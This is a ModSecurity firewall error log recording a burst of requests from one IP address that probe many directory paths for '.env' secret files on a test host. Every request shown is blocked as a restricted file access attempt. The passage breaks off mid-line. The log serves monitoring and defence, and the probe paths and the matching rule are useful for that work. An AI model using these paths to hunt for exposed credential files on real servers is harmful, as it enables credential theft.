[Thu Feb 26 01:03:20.601235 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIQgAAAAQ&quot;]
[Thu Feb 26 01:03:20.601420 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIQgAAAAQ&quot;]
[Thu Feb 26 01:03:20.629597 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temanr9/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIQwAAAAQ&quot;]
[Thu Feb 26 01:03:20.629935 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIQwAAAAQ&quot;]
[Thu Feb 26 01:03:20.630184 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIQwAAAAQ&quot;]
[Thu Feb 26 01:03:20.632890 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test-network/addorg3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl3gAAAAI&quot;]
[Thu Feb 26 01:03:20.633133 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl3gAAAAI&quot;]
[Thu Feb 26 01:03:20.633351 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl3gAAAAI&quot;]
[Thu Feb 26 01:03:20.691390 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIRQAAAAQ&quot;]
[Thu Feb 26 01:03:20.691607 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIRQAAAAQ&quot;]
[Thu Feb 26 01:03:20.691786 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIRQAAAAQ&quot;]
[Thu Feb 26 01:03:20.709109 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/aries-js-worker/fixtures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl4AAAAAI&quot;]
[Thu Feb 26 01:03:20.709334 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl4AAAAAI&quot;]
[Thu Feb 26 01:03:20.709484 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl4AAAAAI&quot;]
[Thu Feb 26 01:03:20.730151 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /template/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIRgAAAAQ&quot;]
[Thu Feb 26 01:03:20.730410 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIRgAAAAQ&quot;]
[Thu Feb 26 01:03:20.730580 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIRgAAAAQ&quot;]
[Thu Feb 26 01:03:20.748269 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/adapter-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl4QAAAAI&quot;]
[Thu Feb 26 01:03:20.748494 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl4QAAAAI&quot;]
[Thu Feb 26 01:03:20.748647 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl4QAAAAI&quot;]
[Thu Feb 26 01:03:20.757887 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /templates/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIRwAAAAQ&quot;]
[Thu Feb 26 01:03:20.758110 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIRwAAAAQ&quot;]
[Thu Feb 26 01:03:20.758279 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIRwAAAAQ&quot;]
[Thu Feb 26 01:03:20.795486 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/agent-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl4gAAAAI&quot;]
[Thu Feb 26 01:03:20.795701 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl4gAAAAI&quot;]
[Thu Feb 26 01:03:20.795862 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl4gAAAAI&quot;]
[Thu Feb 26 01:03:20.834219 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/couchdb/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl4wAAAAI&quot;]
[Thu Feb 26 01:03:20.834477 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl4wAAAAI&quot;]
[Thu Feb 26 01:03:20.834651 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl4wAAAAI&quot;]
[Thu Feb 26 01:03:20.868178 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlISgAAAAQ&quot;]
[Thu Feb 26 01:03:20.868405 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlISgAAAAQ&quot;]
[Thu Feb 26 01:03:20.868569 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlISgAAAAQ&quot;]
[Thu Feb 26 01:03:20.872442 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri 